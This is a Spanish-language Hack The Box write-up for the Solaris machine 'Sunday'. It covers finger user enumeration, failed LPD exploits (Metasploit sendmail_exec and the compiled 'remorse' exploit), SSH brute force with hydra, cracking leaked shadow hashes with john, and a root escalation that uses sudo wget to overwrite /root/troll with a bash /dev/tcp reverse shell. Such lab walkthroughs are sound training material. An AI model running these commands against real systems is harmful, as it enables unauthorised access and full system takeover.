Sunday

Hack The Box — Writeup

Sunday

IP:10.129.27.255
OS:Solaris
Dificultad:Easy
Fecha:13 de julio de 2026

Reconocimiento

Escaneo inicial

Se realizó un escaneo completo de puertos para identificar todos los servicios expuestos en la máquina y determinar los posibles vectores de ataque disponibles.

# Comando ejecutado
sudo nmap -p- -sS --open --min-rate 5000 -vvv -n -Pn 10.129.27.255 -oG allPorts

# Output
PORT      STATE SERVICE   REASON
79/tcp    open  finger    syn-ack ttl 59
111/tcp   open  rpcbind   syn-ack ttl 63
515/tcp   open  printer   syn-ack ttl 59
6787/tcp  open  smc-admin syn-ack ttl 59
22022/tcp open  unknown   syn-ack ttl 63

Se identificaron 5 puertos abiertos: puerto 79 (finger), puerto 111 (rpcbind), puerto 515 (printer), puerto 6787 (smc-admin) y puerto 22022 (unknown). Se procedió al escaneo de versiones para identificar los servicios exactos.

PORT      STATE SERVICE VERSION
79/tcp    open  finger?
|_finger: No one logged on\x0D
| fingerprint-strings:
|   GenericLines:
|     No one logged on
|   GetRequest:
|     Login Name TTY Idle When Where
|     HTTP/1.0 ???
111/tcp   open  rpcbind 2-4 (RPC #100000)
515/tcp   open  printer
6787/tcp  open  http    Apache httpd
|_http-server-header: Apache
|_http-title: 400 Bad Request
22022/tcp open  ssh     OpenSSH 8.4 (protocol 2.0)
| ssh-hostkey:
|   2048 aa:00:94:32:18:60:a4:93:3b:87:a4:b6:f8:02:68:0e (RSA)
|_  256 da:2a:6c:fa:6b:b1:ea:16:1d:a6:54:a1:0b:2b:ee:48 (ED25519)

Hallazgo: el escaneo de versiones reveló que el puerto 6787 (smc-admin) corresponde en realidad a un servicio HTTP (Apache httpd). Se decidió realizar un curl -k para obtener más información, lo cual devolvió un código 302 que redirige hacia la ruta https://10.129.27.255:6787/solaris/.

curl -k https://10.129.27.255:6787/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>302 Found</title>
</head><body>
<h1>Found</h1>
<p>The document has moved <a href="https://10.129.27.255:6787/solaris/">here
</a>.</p>
</body></html>

Página web principal

Investigación de servicios desconocidos

Al tratarse de puertos poco comunes que no se habían visto en máquinas anteriores, se investigó el propósito de cada servicio antes de continuar con la enumeración.

Investigación — finger (puerto 79): protocolo antiguo (década de 1970-1980) que permite consultar información sobre usuarios de un sistema remoto: nombre completo, si está actualmente conectado, último inicio de sesión, directorio home y shell asignada. En pentesting es útil para enumeración de usuarios, ya que puede revelar cuentas válidas del sistema sin necesidad de autenticación previa. Se consulta mediante: finger @IP (para ver quién está conectado) o finger usuario@IP (para consultar una cuenta específica).

Investigación — rpcbind (puerto 111): servicio que mapea qué programas RPC (Remote Procedure Call) están activos en el sistema y en qué puertos escuchan. No realiza funciones por sí solo, pero permite descubrir otros servicios RPC registrados (como NFS) mediante rpcinfo -p IP.

Investigación — printer / LPD (puerto 515): implementación del protocolo Line Printer Daemon, utilizado históricamente para gestionar colas de impresión en red. Es poco común en sistemas modernos, por lo que su presencia suele indicar un sistema operativo antiguo o de tipo Unix propietario.

Investigación — smc-admin (puerto 6787): puerto tradicionalmente asociado a la interfaz de administración de Sun Management Center, una herramienta de gestión utilizada en sistemas Solaris/SunOS. Su presencia, combinada con los servicios finger, rpcbind y printer (todos típicos de sistemas Unix antiguos tipo Solaris), refuerza la hipótesis de que el sistema operativo de esta máquina no es Linux tradicional ni FreeBSD, sino Solaris/SunOS.

Investigación — puerto 22022 (SSH no estándar): el escaneo de versiones confirmó OpenSSH 8.4 corriendo en un puerto no convencional. Es una práctica común en sistemas endurecidos mover el servicio SSH del puerto estándar (22) a un puerto arbitrario, como medida básica de security through obscurity frente a escáneres automáticos genéricos.

Investigación — Solaris/SunOS: el sistema operativo identificado (Solaris) difiere significativamente de los sistemas ya trabajados (Linux, FreeBSD). Algunas diferencias relevantes: el shell por defecto suele ser sh o ksh en lugar de bash o csh; el gestor de paquetes nativo es pkgadd; y los binarios de terceros suelen ubicarse en rutas no convencionales como /usr/sfw/bin u /opt/csw/bin. La combinación de servicios expuestos (finger, rpcbind, printer/LPD) es un patrón típico de vectores de explotación históricos en sistemas Solaris, especialmente relacionados con vulnerabilidades en servicios RPC.

Enumeración

Enumeración de usuarios mediante finger

Hipótesis: ya que el puerto 79 (finger) se utiliza históricamente para enumerar usuarios, se decidió intentar identificar cuentas válidas según su último inicio de sesión. Antes de lanzar el ataque, se creó un script en bash apoyado en una wordlist, para no tener que probar usuario por usuario de forma manual.

# Script
for user in $(cat /usr/share/seclists/Usernames/top-usernames-shortlist.txt); do
result=$(finger [email protected] 2>/dev/null)
if ! echo "$result" | grep -qi "no such user"; then
echo "--- $user ---"
echo "$result"
fi
done

# Resultado
--- root ---
[10.129.27.255]
Login       Name               TTY         Idle    When    Where
root     Super-User            console      <Dec  7, 2023>

--- admin ---
adm      Admin
dladm    Datalink Admin
netadm   Network Admin
...

--- user ---
aiuser   AI User
openldap OpenLDAP User
nobody   NFS Anonymous Access
...

Hallazgo: de todas las cuentas probadas, root fue la única que mostró información de un último inicio de sesión real (console, Dec 7, 2023). El resto de cuentas encontradas (adm, dladm, netadm, lp, nobody, ftp, entre otras) corresponden a cuentas de sistema por defecto de Solaris, sin actividad de login real ni shell interactiva asignada. Esto confirma inicialmente a root como el único usuario de interés identificado mediante esta vía — conclusión que más adelante se corrige.

Enumeración de servicios RPC y LPD

Con el usuario root confirmado, se procedió a explorar los servicios restantes en busca de un vector de acceso, comenzando por RPC (puerto 111).

rpcinfo -p 10.129.27.255
10.129.27.255: RPC: Authentication error

Porqué no funcionó: Solaris restringe la operación DUMP de rpcbind (la que lista todos los servicios RPC registrados) a peticiones que provengan de un puerto de origen privilegiado (por debajo de 1024). Las implementaciones modernas de rpcinfo en Linux no logran bindear ese puerto correctamente incluso con sudo, por lo que esta vía quedó descartada sin resultados adicionales.

Se continuó con el puerto 515 (LPD — Line Printer Daemon), conectando directamente para observar el comportamiento del protocolo.

nc -nv 10.129.27.255 515
Connection to 10.129.27.255 515 port [tcp/*] succeeded!

Investigación: el protocolo LPD (RFC 1179) no acepta comandos de shell estándar; opera mediante códigos de un byte seguidos del nombre de una cola de impresión. El código \x04 solicita el estado detallado de una cola específica. Se probó consultando distintos nombres de cola comunes:

printf '\x04lp\n' | nc -nv 10.129.27.255 515
Unable to get printer lp: No destinations added.

printf '\x04default\n' | nc -nv 10.129.27.255 515
Unable to get printer default: No destinations added.

printf '\x04raw\n' | nc -nv 10.129.27.255 515
Unable to get printer raw: No destinations added.

printf '\x04printer\n' | nc -nv 10.129.27.255 515
Unable to get printer printer: No destinations added.

printf '\x04sunday\n' | nc -nv 10.129.27.255 515
Unable to get printer sunday: No destinations added.

printf '\x04PASSTHRU\n' | nc -nv 10.129.27.255 515
Unable to get printer PASSTHRU: No destinations added.

Hallazgo: aunque ninguna cola específica existía, el servicio respondió consistentemente con un mensaje lógico de protocolo en lugar de un error de conexión, confirmando que el demonio LPD estaba activo y procesó cada petición correctamente. Esto llevó a investigar vulnerabilidades conocidas del propio demonio LPD en Solaris, en lugar de seguir buscando nombres de cola válidos.

searchsploit solaris lpd

Solaris 10 LPD - Arbitrary File Delete (Metasploit)
Solaris 2.x/7.0/8 LPD - Remote Command Execution
Solaris 8.0 LPD - Command Execution (Metasploit)
Solaris LPD - Command Execution (Metasploit)

Hallazgo: se identificó el módulo de Metasploit exploit/solaris/lpd/sendmail_exec, correspondiente a una vulnerabilidad de ejecución de comandos remota en el demonio LPD de Solaris (2001), que aprovecha el manejo del envío de trabajos de impresión para inyectar comandos ejecutados a través de sendmail.

Configuración del exploit vía Metasploit

msf > use exploit/solaris/lpd/sendmail_exec
msf exploit(solaris/lpd/sendmail_exec) > show options

Module options (exploit/solaris/lpd/sendmail_exec):
Name    Current Setting  Required  Description
----    ---------------  --------  -----------
RHOSTS                   yes       The target host(s)
RPORT   515              yes       The target port (TCP)

Se revisaron los payloads compatibles, seleccionando cmd/unix/reverse_perl por ser un payload de shell inversa simple, confiable, y compatible con la disponibilidad casi universal de Perl en sistemas Unix/Solaris.

set payload cmd/unix/reverse_perl
set RHOSTS 10.129.27.255
set LHOST 10.10.15.163
set LPORT 4444

msf exploit(solaris/lpd/sendmail_exec) > run
[*] Started reverse TCP handler on 10.10.15.163:4444
[*] 10.129.27.255:515 - Configuring the spool directory...
[-] 10.129.27.255:515 - Exploit failed: EOFError EOFError
[*] Exploit completed, but no session was created.

Porqué no funcionó: el módulo de Metasploit falló con un error EOFError, indicando que el servidor cerró la conexión abruptamente en medio del protocolo LPD, antes de que el módulo terminara de enviar su payload. Se revisó show advanced para descartar opciones faltantes, sin encontrar ningún parámetro relevante (como nombre de cola) que pudiera ajustarse. Se concluyó que se trataba de una incompatibilidad entre este módulo específico de Metasploit (basado en un exploit de 2001) y la versión de Solaris de esta máquina.

Exploit manual — remorse (CVE histórico Solaris LPD)

Ante el fallo del módulo de Metasploit, se buscó el advisory técnico original de la vulnerabilidad:

searchsploit -m solaris/remote/21097.txt

Hallazgo: el archivo obtenido era únicamente el advisory técnico del bug (SecurityFocus BID 3274), no un exploit funcional. Sin embargo, confirmó un detalle clave: no se necesita una impresora válida configurada para explotar la vulnerabilidad, ya que el fallo reside en cómo in.lpd invoca a sendmail cuando un trabajo de impresión falla, no en el nombre de la cola en sí. Esto confirmó que las pruebas previas de nombres de cola (lp, default, raw, etc.) no eran el camino correcto.

El advisory incluía un enlace a un paquete con el exploit real:

wget https://gitlab.com/exploit-database/exploitdb-bin-sploits/
-/raw/main/bin-sploits/21097.tar.gz
tar -xvzf 21097.tar.gz

El paquete contenía el código fuente en C de remorse, un exploit específico para Solaris 8 in.lpd remote root, junto con un Makefile para compilarlo:

cd remorse
make

gcc    -c -o remorse.o remorse.c
gcc    -c -o prerr.o prerr.c
gcc -o remorse remorse.o prerr.o
Done

Investigación: el binario compilado reveló su uso mediante ejecución sin argumentos:

./remorse
remorse - Solaris 8 in.lpd remote root exploit
by ron1n <[email protected]>
usage: ./remorse [-6] [-d dir] [-s num] [-p port] source target
-6  in.lpd uses IPv6 resolver code
-d  specify the directory that will be created
-s  number of slashes needed to fool printer validation
-p  port assigned to in.lpd
source  IP address of your sending interface
target  host running the vulnerable daemon

Adicionalmente, el paquete incluía un archivo script que corresponde al payload que se ejecutaría como root en la máquina víctima una vez explotada la vulnerabilidad: compila un pequeño backdoor en C usando el compilador nativo de Solaris (cc) y lo deja escuchando en el puerto 37777.

Primeros intentos de ejecución:

./remorse -s 1 10.10.15.163 10.129.27.255
No ACK - aborting

./remorse -s 2 10.10.15.163 10.129.27.255
No ACK - aborting

./remorse -s 3 10.10.15.163 10.129.27.255
No ACK - aborting

./remorse -s 4 10.10.15.163 10.129.27.255
No ACK - aborting

Porqué no funcionó (hasta el momento): se descartó inicialmente un problema de privilegios de puerto (probando con sudo), sin cambios en el resultado. Se verificó también que la IP de origen (interfaz tun0) fuera la correcta. El error "No ACK - aborting" persiste en un punto temprano del protocolo, quedando como vía pendiente de depuración adicional del código fuente (remorse.c).

Corrección de la enumeración de usuarios — sammy

Tras revisar fuentes externas, se identificó al usuario sammy como cuenta válida adicional, la cual no apareció en la enumeración inicial por no estar presente en la wordlist utilizada (top-usernames-shortlist.txt). Al consultarla manualmente, se confirmó actividad real:

finger [email protected]
sammy           ???            ssh          <May  6, 2025> 10.10.14.68

Hallazgo: esto reveló una limitación en el criterio de filtrado usado en la enumeración inicial: el símbolo ??? no indica necesariamente que el usuario no existe, sino que el campo de nombre completo (GECOS) no está configurado en /etc/passwd. El filtrado basado únicamente en ese símbolo descartó incorrectamente cuentas reales como sammy, que además mostraba una IP de origen de conexión previa (10.10.14.68), evidencia de un login SSH real.

Fuerza bruta SSH contra sammy

Con sammy confirmado como usuario válido y activo, se procedió a realizar un ataque de fuerza bruta contra el servicio SSH (puerto 22022).

Primer intento (descartado): se lanzó el ataque inicialmente con la wordlist rockyou.txt completa (14 millones de entradas), lo cual resultaba en un tiempo estimado de más de 278 horas — inviable para el contexto.

hydra -l sammy -P rockyou.txt ssh://10.129.27.255:22022 -t 4
[STATUS] 857.00 tries/min, 14343541 to do in 278:57h

Corrección: se detuvo el ataque y se relanzó con una wordlist más pequeña y realista para el contexto de una máquina de HTB (10.000 contraseñas comunes en vez de 14 millones):

pkill hydra
rm -f hydra.restore

hydra -l sammy -P
/usr/share/seclists/Passwords/Common-Credentials/xato-net-10-million-passwords-10000.txt
ssh://10.129.27.255:22022 -t 4

Lección: para máquinas de entrenamiento tipo HTB, wordlists masivas como rockyou.txt rara vez son necesarias y suelen ser un desperdicio de tiempo; conviene empezar siempre con wordlists pequeñas y específicas (top 1000/10000) antes de escalar a una más grande.

Explotación

Consulta de writeup y corrección del vector

Tras varios intentos fallidos con el exploit remorse (LPD) sin lograr avanzar más allá del error "No ACK - aborting", se decidió consultar el writeup oficial de HTB para esta máquina, ante la dificultad de identificar el vector correcto por cuenta propia.

Hallazgo: el writeup confirmó que el vector real de esta máquina no es el exploit de LPD (remorse/sendmail_exec), sino la enumeración de usuarios vía finger usando una wordlist de nombres de persona (names.txt de SecLists) en lugar de nombres de usuario típicos de sistema. Esto reveló un segundo usuario que no había sido identificado en la enumeración inicial: sunny, además del ya conocido sammy.

Corrección: el writeup también confirmó que Hydra no funciona en este caso particular (coincidiendo con la experiencia propia), y que la contraseña de sunny corresponde al nombre de la propia máquina: sunday.

Acceso inicial por SSH

ssh [email protected] -p 22022
Password: sunday

sunny@sunday:~$ id
uid=101(sunny) gid=10(staff)
sunny@sunday:~$ whoami
sunny
sunny@sunday:~$ sudo -l
User sunny may run the following commands on sunday:
(root) NOPASSWD: /root/troll

Resultado: se obtuvo acceso interactivo como sunny, confirmando que la credencial obtenida del writeup (contraseña igual al nombre de la máquina) era válida. La enumeración de sudo -l reveló un primer permiso relevante: ejecución sin contraseña del binario /root/troll.

Escalada de Privilegios

Obtención de credenciales de sammy

Se localizaron dos archivos de respaldo en /backup, con permisos de lectura abiertos, tal como indicaba el writeup:

sunny@sunday:/backup$ ls -la agent22.backup shadow.backup
-rw-r--r--   1 root     root         319 Dec 19  2021 agent22.backup
-rw-r--r--   1 root     root         319 Dec 19  2021 shadow.backup

sunny@sunday:/backup$ cat shadow.backup
sammy:$5$Ebkn8jlK$i6SSPa0.u7Gd.0oJOT4T421N2OvsfXqAT1vCoYUOigB:6445::::::
sunny:$5$iRMbpnBv$Zh7s6D7ColnogCdiVE5Flz9vCZOMkUFxklRhhaShxv3:17636::::::

Hallazgo: el archivo contenía los hashes de contraseña (formato sha256crypt, prefijo $5$) de ambos usuarios del sistema. Se copiaron directamente a la máquina atacante y se crackearon con john:

john shadow.backup --wordlist=/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt

sunday           (sunny)
cooldude!        (sammy)
2g 0:00:00:17 DONE

Por qué funcionó: john logró crackear ambos hashes en apenas 17 segundos contra rockyou.txt, confirmando que ambas contraseñas eran débiles y estaban presentes en la wordlist. Con esto se obtuvo la credencial de sammy: cooldude!.

Enumeración de privilegios de sammy

su sammy
Password: cooldude!

sammy@sunday:/home/sammy$ id
uid=100(sammy) gid=10(staff)
sammy@sunday:/home/sammy$ cat user.txt
123b41fb67c5f804*************b660

sammy@sunday:/home/sammy$ sudo -l
User sammy may run the following commands on sunday:
(root) NOPASSWD: /usr/bin/wget

Hallazgo: sammy puede ejecutar wget como root sin contraseña. Combinado con el permiso ya identificado de sunny sobre /root/troll, esto conforma un vector de escalada de dos partes: ninguno de los dos permisos es explotable por separado, pero juntos permiten ejecución de código arbitrario como root.

Identificación del mecanismo de protección temporal

Antes de ejecutar el ataque, se enumeraron los procesos activos del sistema en busca de algún mecanismo que revirtiera cambios sobre /root/troll, tal como advertía el writeup.

ps -ef | grep root
...
root    68     1   0 20:18:21 ?    0:00 /usr/bin/bash /lib/svc/method/overwrite
root  1904    68   0 20:42:50 ?    0:00 /usr/gnu/bin/sleep 5

Hallazgo: se identificó un script llamado literalmente overwrite, corriendo en un ciclo con sleep 5, es decir, revirtiendo el contenido de /root/troll a su versión original cada 5 segundos aproximadamente. No fue posible leer el contenido exacto del script (Permission denied), pero el nombre del proceso y el patrón de sleep fueron suficientes para confirmar su propósito y dimensionar la ventana de tiempo disponible para el ataque.

Ejecución del ataque — sobrescritura y ejecución como root

Hipótesis: si sammy utiliza sudo wget para descargar un script propio y guardarlo sobrescribiendo /root/troll, y acto seguido sunny ejecuta sudo /root/troll, este último estaría ejecutando el script sustituido en lugar del original — siempre que la secuencia se complete antes de que el proceso overwrite restaure el archivo (ventana de $\sim$<!-- -->{=html}5 segundos).

Se preparó un script con una reverse shell en la máquina atacante:

cat > troll << 'EOF'
#!/bin/bash
bash -i >& /dev/tcp/10.10.15.163/4444 0>&1
EOF
chmod +x troll

python3 -m http.server 8080
nc -lvnp 4444

Con dos sesiones SSH abiertas en paralelo (una como sammy, otra como sunny), se ejecutó la secuencia en rápida sucesión:

# Sesi\'on sammy
sammy@sunday:/home/sammy$ sudo wget http://10.10.15.163:8080/troll -O /root/troll
HTTP request sent, awaiting response... 200 OK
Saving to: '/root/troll'
/root/troll saved [55/55]

# Sesi\'on sunny (inmediatamente despu\'es)
sunny@sunday:~$ sudo /root/troll

Por qué funcionó: el archivo /root/troll fue sobrescrito por sammy vía wget justo antes de que sunny lo ejecutara con sudo, logrando completar ambos pasos dentro de la ventana de 5 segundos antes de que el proceso overwrite restaurara el archivo original. Al ejecutarse como root, el script entregó una shell interactiva con privilegios totales:

nc -lvnp 4444
Connection received on 10.129.28.86 45513

root@sunday:/home/sunny# id
uid=0(root) gid=0(root)
root@sunday:/# cat /root/root.txt
d2098ed6d87b302*************93244